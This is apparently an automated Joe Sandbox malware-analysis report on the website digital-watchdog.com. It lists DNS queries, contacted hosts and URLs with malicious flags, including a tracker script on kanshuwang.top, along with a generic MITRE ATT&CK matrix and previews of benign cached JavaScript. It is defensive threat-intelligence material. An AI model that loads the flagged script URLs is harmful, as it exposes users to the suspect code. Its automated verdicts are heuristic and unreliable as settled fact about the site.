Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: analytics.google.com
Source: global traffic	DNS traffic detected: DNS query: td.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: googleads.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: connect.facebook.net
Source: global traffic	DNS traffic detected: DNS query: publickeyservice.pa.gcp.privacysandboxservices.com
Source: global traffic	DNS traffic detected: DNS query: publickeyservice.pa.aws.privacysandboxservices.com
Source: global traffic	DNS traffic detected: DNS query: stats.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: www.clarity.ms
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: c.clarity.ms
Source: global traffic	DNS traffic detected: DNS query: k.clarity.ms
Source: global traffic	DNS traffic detected: DNS query: beacons.gcp.gvt2.com
Source: global traffic	DNS traffic detected: DNS query: beacons.gvt2.com
Source: global traffic	DNS traffic detected: DNS query: beacons2.gvt2.com
Source: global traffic	DNS traffic detected: DNS query: beacons3.gvt2.com

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Extra Window Memory Injection	1 Extra Window Memory Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Name	IP	Active	Malicious	Reputation
jsdelivr.map.fastly.net	151.101.193.229	true	false	high
beacons3.gvt2.com	142.250.114.94	true	false	high
beacons-handoff.gcp.gvt2.com	74.125.136.94	true	false	high
dmq883log67hn.cloudfront.net	3.167.237.66	true	false	unknown
use.fontawesome.com.cdn.cloudflare.net	104.21.27.152	true	false	high
publickeyservice.pa-3.aws.privacysandboxservices.com	108.156.245.9	true	false	high
stats.g.doubleclick.net	173.194.208.154	true	false	high
beacons6.gvt2.com	142.251.116.94	true	false	high
scontent.xx.fbcdn.net	57.144.194.128	true	false	high
vmss-clarity-ingest-eus2-e.eastus2.cloudapp.azure.com	172.175.38.6	true	false	high
code.jquery.com	151.101.66.137	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
publickeyservice-a.pa-3.gcp.privacysandboxservices.com	34.54.30.30	true	false	high
gce-beacons.gcp.gvt2.com	107.178.242.165	true	false	high
www.google.com	173.194.208.103	true	false	high
stackpath.bootstrapcdn.com	104.18.10.207	true	false	high
star-mini.c10r.facebook.com	31.13.93.35	true	false	high
c-msn-pme.trafficmanager.net	20.125.209.212	true	false	high
beacons2.gvt2.com	173.194.217.94	true	false	high
beacons.gvt2.com	192.178.131.94	true	false	high
ax-0001.ax-msedge.net	150.171.28.10	true	false	high
digital-watchdog.com	54.151.32.244	true	true	unknown
s-part-0029.t-0009.t-msedge.net	13.107.246.57	true	false	high
kanshuwang.top	79.141.162.37	true	false	unknown
googleads.g.doubleclick.net	142.251.186.157	true	false	high
analytics.google.com	142.250.114.100	true	false	high
td.doubleclick.net	142.250.114.156	true	false	high
unpkg.com	104.18.0.22	true	false	high
v3-use-appgwv2.eastus.cloudapp.azure.com	52.146.86.174	true	false	high
cdn.jsdelivr.net	unknown	unknown	false	high
beacons.gcp.gvt2.com	unknown	unknown	false	high
use.fontawesome.com	unknown	unknown	false	high
c.clarity.ms	unknown	unknown	false	high
k.clarity.ms	unknown	unknown	false	high
www.facebook.com	unknown	unknown	false	high
publickeyservice.pa.gcp.privacysandboxservices.com	unknown	unknown	false	high
www.clarity.ms	unknown	unknown	false	high
connect.facebook.net	unknown	unknown	false	high
publickeyservice.pa.aws.privacysandboxservices.com	unknown	unknown	false	high
secure.enterpriseforesight247.com	unknown	unknown	false	unknown

Name	Malicious	Reputation
https://digital-watchdog.com/product_detail_assets/Clearance_Zone_button.png	false	unknown
https://kanshuwang.top/ls/index.js?c531fe8f142fa15351	false	unknown
https://digital-watchdog.com/product_detail_assets/top_nav_icon1.jpg	false	unknown
https://kanshuwang.top/ls/index.php?akFFGw9O	false	unknown
https://digital-watchdog.com/css/style.css?20250530073516	false	unknown
https://digital-watchdog.com/js/custom-script.js?20250530073516	false	unknown
https://digital-watchdog.com/js/bootstrap-datepicker.js?20250530073516	false	unknown
https://digital-watchdog.com/product_detail_assets/youtube_orange.png	false	unknown
https://digital-watchdog.com/assets/dw-topnav-logo.png	false	unknown
https://digital-watchdog.com/product_detail_assets/facebook_orange.png	false	unknown
https://secure.enterpriseforesight247.com/js/267707.js	false	unknown
https://digital-watchdog.com/assets/20220503113243-img-246952568.svg	false	unknown
https://digital-watchdog.com/library/Cookie-Alert/cookiealert.js	false	unknown
https://digital-watchdog.com/product_detail_assets/top_nav_icon2.jpg	false	unknown
https://digital-watchdog.com/assets/form_loading_new.gif	false	unknown
https://digital-watchdog.com/js/jquery-phone-inputmask.js?20250530073516	false	unknown
https://digital-watchdog.com/i/fa-angle-down-dark.png	false	unknown
https://digital-watchdog.com/css/dw.css?20250530073516	false	unknown
https://digital-watchdog.com/library/select2/css/select2pp.css	false	unknown
https://kanshuwang.top/ls/tracker.js	true	unknown
https://digital-watchdog.com/product_detail_assets/top_nav_icon5.jpg	false	unknown
https://digital-watchdog.com/js/auto-suggest-pages.js?20250530073516	false	unknown
https://digital-watchdog.com/library/select2/js/select2.min.js	false	unknown
https://digital-watchdog.com/favicon.ico	false	unknown
https://digital-watchdog.com/css/bootstrap-datepicker.css?20250530073516	false	unknown
https://digital-watchdog.com/product_detail_assets/top_nav_icon3.jpg	false	unknown
https://digital-watchdog.com/product_detail_assets/ig_icon_orange.png	false	unknown
https://digital-watchdog.com/product_detail_assets/linkedin_icon_orange.png	false	unknown
https://digital-watchdog.com/js/auto-suggest.js?20250530073516	false	unknown
https://digital-watchdog.com/js/jquery.maskedinput.min.js?20250530073516	false	unknown
https://digital-watchdog.com/js/jqBootstrapValidation.js?20250530073516	false	unknown
https://digital-watchdog.com/js/script.js?20250530073516	false	unknown
https://digital-watchdog.com/product_detail_assets/X_icon.png	false	unknown
https://digital-watchdog.com/library/jquery-toast/dist/toastr.min.js?20250530073516	false	unknown
https://k.clarity.ms/collect	false	high
https://digital-watchdog.com/library/Cookie-Alert/cookiealert.css?20250530073516	false	unknown
https://digital-watchdog.com/css/custom-style.css?20250530073516	false	unknown
https://digital-watchdog.com/library/select2/css/select2.min.css	false	unknown
https://digital-watchdog.com/product_detail_assets/top_nav_icon4.jpg	false	unknown
https://digital-watchdog.com/library/jquery-toast/dist/toastr.min.css?20250530073516	false	unknown
https://digital-watchdog.com/css/new-homepage.css	false	unknown
https://digital-watchdog.com/assets/Inventory_Clearance_Banner.png	false	unknown
https://digital-watchdog.com/tinymce/tinymce.min.js?20250530073516	false	unknown
https://digital-watchdog.com/	false	unknown
https://digital-watchdog.com/models/webstat.php	false	unknown
https://digital-watchdog.com/css/framework.css	false	unknown
https://digital-watchdog.com/js/xdate.js	false	unknown
https://digital-watchdog.com/admin/assets/_medialibrary/20250414151519dp875346491.png	false	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.114.156	td.doubleclick.net	United States	15169	GOOGLEUS	false
104.18.10.207	stackpath.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
57.144.194.1	unknown	Belgium	2686	ATGS-MMD-ASUS	false
151.101.193.229	jsdelivr.map.fastly.net	United States	54113	FASTLYUS	false
142.251.116.102	unknown	United States	15169	GOOGLEUS	false
142.251.116.97	unknown	United States	15169	GOOGLEUS	false
104.18.0.22	unpkg.com	United States	13335	CLOUDFLARENETUS	false
142.251.116.94	beacons6.gvt2.com	United States	15169	GOOGLEUS	false
54.151.32.244	digital-watchdog.com	United States	16509	AMAZON-02US	true
173.194.208.103	www.google.com	United States	15169	GOOGLEUS	false
20.125.209.212	c-msn-pme.trafficmanager.net	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.113.139	unknown	United States	15169	GOOGLEUS	false
108.156.245.9	publickeyservice.pa-3.aws.privacysandboxservices.com	United States	16509	AMAZON-02US	false
142.250.115.101	unknown	United States	15169	GOOGLEUS	false
150.171.28.10	ax-0001.ax-msedge.net	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
142.251.186.157	googleads.g.doubleclick.net	United States	15169	GOOGLEUS	false
3.167.237.66	dmq883log67hn.cloudfront.net	United States	16509	AMAZON-02US	false
142.251.186.94	unknown	United States	15169	GOOGLEUS	false
57.144.194.128	scontent.xx.fbcdn.net	Belgium	2686	ATGS-MMD-ASUS	false
142.251.186.97	unknown	United States	15169	GOOGLEUS	false
34.54.30.30	publickeyservice-a.pa-3.gcp.privacysandboxservices.com	United States	2686	ATGS-MMD-ASUS	false
142.250.189.4	unknown	United States	15169	GOOGLEUS	false
31.13.93.35	star-mini.c10r.facebook.com	Ireland	32934	FACEBOOKUS	false
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
3.167.237.109	unknown	United States	16509	AMAZON-02US	false
13.107.246.57	s-part-0029.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.175.38.6	vmss-clarity-ingest-eus2-e.eastus2.cloudapp.azure.com	United States	7018	ATT-INTERNET4US	false
173.194.208.154	stats.g.doubleclick.net	United States	15169	GOOGLEUS	false
142.250.113.94	unknown	United States	15169	GOOGLEUS	false
142.250.115.95	unknown	United States	15169	GOOGLEUS	false
142.250.114.100	analytics.google.com	United States	15169	GOOGLEUS	false
142.250.115.113	unknown	United States	15169	GOOGLEUS	false
104.21.27.152	use.fontawesome.com.cdn.cloudflare.net	United States	13335	CLOUDFLARENETUS	false
142.250.115.138	unknown	United States	15169	GOOGLEUS	false
79.141.162.37	kanshuwang.top	Bulgaria	202015	HZ-US-ASBG	false
52.146.86.174	v3-use-appgwv2.eastus.cloudapp.azure.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.113.105	unknown	United States	15169	GOOGLEUS	false
142.251.186.84	unknown	United States	15169	GOOGLEUS	false
173.194.208.94	unknown	United States	15169	GOOGLEUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1702450
Start date and time:	2025-05-30 16:34:39 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	http://digital-watchdog.com
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal64.phis.win@28/107@94/443

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1565
Entropy (8bit):	5.110299732205675
Encrypted:	false
SSDEEP:
MD5:	62F61337927811D6CE307E904F6A60D9
SHA1:	F6BEFDB265EE14B2770EE047E84EE0F61DAE76DE
SHA-256:	4014D6FC9CB22BE3D34A709B03BDEFD227AEDBD9767DD07166CC40812D764230
SHA-512:	C2DF6A78E194D336AE0FB404A2B6E9FD11427ECB714E7DBE6975514FB059F595FE619001BA01DEA52E44BA737C543A90ECB164B8D251985853613E6752AC9B3D
Malicious:	false
Reputation:	unknown
URL:	https://digital-watchdog.com/js/auto-suggest-pages.js?20250530073516
Preview:	..$(document).ready(function(e) { ...// Auto Search Options:...var globalSearchInput = $('#page_auto_suggest .page_global_search'),....globalSearchSuggestion = $('#page_auto_suggest .product_search_suggestion'),....globalSearchValue = '',....globalSearchTimeout;.....globalSearchInput.keyup(function(e){....if(e.which==13){.....e.preventDefault();.....let val = $(e.target).val().trim();.....if(val!=''){......let url = location.protocol+'//'+location.host+'/search-result/?keywords='+val;......window.location.href = url;.....}....}else{.....globalSearchValue = globalSearchInput.val();.....if(globalSearchValue=='') globalSearchSuggestion.html('');.....else searhSuggest(globalSearchValue);....}...});...$('#page_auto_suggest .i-global-search').click(function(e){....e.preventDefault();....let val = globalSearchInput.val().trim();....if(val!=''){.....let url = location.protocol+'//'+location.host+'/search-result/?keywords='+val;.....window.location.href = url;....}...});.....function searhSug

IP
192.168.2.16
192.168.2.4

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4112), with CRLF line terminators
Category:	downloaded
Size (bytes):	4330
Entropy (8bit):	5.361372836701116
Encrypted:	false
SSDEEP:
MD5:	C6DF8E890079A5BF367653CE7A4A181D
SHA1:	81DD20E943C855B794360CF74F3BFB1EAC0AA3DE
SHA-256:	58C5FB14D40E03A30B242153B35222EF2C66912229FE98E3BAD88AFD8BB4AA37
SHA-512:	69B6292EF98E51F74102E9B4C82438D0F17438CCA34CC11EB0D385B71480D149B513791F0238CCA3E6B762ACDDCE8EE7A76B5E59A70D6647AAC736C7E7EA758F
Malicious:	false
Reputation:	unknown
URL:	https://digital-watchdog.com/js/jquery.maskedinput.min.js?20250530073516
Preview:	/.. jQuery Masked Input Plugin.. Copyright (c) 2007 - 2015 Josh Bush (digitalbush.com).. Licensed under the MIT license (http://digitalbush.com/projects/masked-input-plugin/#license).. Version: 1.4.1../..!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):a("object"==typeof exports?require("jquery"):jQuery)}(function(a){var b,c=navigator.userAgent,d=/iphone/i.test(c),e=/chrome/i.test(c),f=/android/i.test(c);a.mask={definitions:{9:"[0-9]",a:"[A-Za-z]","*":"[A-Za-z0-9]"},autoclear:!0,dataName:"rawMaskFn",placeholder:"_"},a.fn.extend({caret:function(a,b){var c;if(0!==this.length&&!this.is(":hidden"))return"number"==typeof a?(b="number"==typeof b?b:a,this.each(function(){this.setSelectionRange?this.setSelectionRange(a,b):this.createTextRange&&(c=this.createTextRange(),c.collapse(!0),c.moveEnd("character",b),c.moveStart("character",a),c.select())})):(this[0].setSelectionRange?(a=this[0].selectionStart,b=this[0].selectionEnd):document.selection&&document.sel

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=19, height=3744, bps=242, PhotometricIntepretation=RGB, manufacturer=Canon, model=Canon EOS 5D Mark II, orientation=upper-left, width=5616], progressive, precision 8, 2000x1657, components 3
Category:	downloaded
Size (bytes):	1672509
Entropy (8bit):	7.986144877178177
Encrypted:	false
SSDEEP:
MD5:	8836C2113B3C5DA2BE88E73AE0DA184E
SHA1:	D22BC785ED1B6C4AA1B5AD640A05C85BA50940D2
SHA-256:	B7A5B10EFEA930D04F836CEF45E095D67FDA0314F084BF9132C18E61511C60A9
SHA-512:	E645F7A27B5230C6E5C66A046DF2AC0D4D2D5A684BA7E08FF1912BB8B7F90D8BBBD7F4EC0C5B1DA185C5D960F5360D76B9001C1DD0311F62B3E2ED899E1F99DE
Malicious:	false
Reputation:	unknown
URL:	https://dmq883log67hn.cloudfront.net/assets/_medialibrary/20220907225015dp254308958.jpg
Preview:	....(MExif..II*...............................................................................................................................(...........1...!...#...2.......D...>.......X...?.......h...........................i...........%.....................Canon.Canon EOS 5D Mark II...-..'....-..'..Adobe Photoshop 23.4 (Macintosh).2022:09:07 22:19:19.9.......I.......@...d...!...d.......d...G...d.......d.......d...+.......K.......r....... .........6...........>..."...........'...................0221........F...........Z.......................n...........v...........~.......................................................................97..........97..........97..........0100................................y.......................................................................................................................(...8.......2016:05:04 15:39:10.2016:05:04 15:39:10..`............................................................................................................

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	assembler source, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	14249
Entropy (8bit):	5.16477898334664
Encrypted:	false
SSDEEP:
MD5:	E2AFA71710DDB44C364461FA201D63E6
SHA1:	EB23CFEF6045AB7AE047B1E2730513419EE48F1A
SHA-256:	CF475342BBDFFC83F89E91103195181E887FDD582F2BE534039A3A008C693D35
SHA-512:	F39B681F5F2D76451958CBBEC3DE369E19119022424805FADB9A3D04C84D56BE9AD644E9D3E65F9749F0EAD9F99684DF9B6C69C403F92849E8CCD11B65128AC2
Malicious:	false
Reputation:	unknown
URL:	https://digital-watchdog.com/js/bootstrap-datepicker.js?20250530073516
Preview:	/* =========================================================.. * bootstrap-datepicker.js .. * http://www.eyecon.ro/bootstrap-datepicker.. * =========================================================.. * Copyright 2012 Stefan Petre.. .. Licensed under the Apache License, Version 2.0 (the "License");.. * you may not use this file except in compliance with the License... * You may obtain a copy of the License at.. .. http://www.apache.org/licenses/LICENSE-2.0.. .. Unless required by applicable law or agreed to in writing, software.. * distributed under the License is distributed on an "AS IS" BASIS,.. * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied... * See the License for the specific language governing permissions and.. * limitations under the License... * ========================================================= */.. ..!function( $ ) {......// Picker object......var Datepicker = function(element, options){....this.element = $(element);....this.format =

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://digital-watchdog.com

Overview

General Information

Detection

Signatures

Classification

Process Tree

AI Reasoning

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Persistence and Installation Behavior

Mitre Att&ck Matrix

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Created / dropped Files

Chrome Cache Entry: 158

Chrome Cache Entry: 159

Chrome Cache Entry: 162

Chrome Cache Entry: 163

Chrome Cache Entry: 164

Chrome Cache Entry: 165

Chrome Cache Entry: 166

Chrome Cache Entry: 167

Chrome Cache Entry: 168

Chrome Cache Entry: 169

Chrome Cache Entry: 170

Chrome Cache Entry: 171

Chrome Cache Entry: 172

Chrome Cache Entry: 173

Chrome Cache Entry: 174

Chrome Cache Entry: 175

Chrome Cache Entry: 176

Chrome Cache Entry: 177

Chrome Cache Entry: 178

Chrome Cache Entry: 181

Chrome Cache Entry: 182

Chrome Cache Entry: 183

Chrome Cache Entry: 184

Chrome Cache Entry: 185

Chrome Cache Entry: 186

Chrome Cache Entry: 187

Chrome Cache Entry: 188

Chrome Cache Entry: 189

Chrome Cache Entry: 190

Chrome Cache Entry: 191

Chrome Cache Entry: 192

Chrome Cache Entry: 194

Chrome Cache Entry: 196

Chrome Cache Entry: 197

Chrome Cache Entry: 198

Windows Analysis Report
http://digital-watchdog.com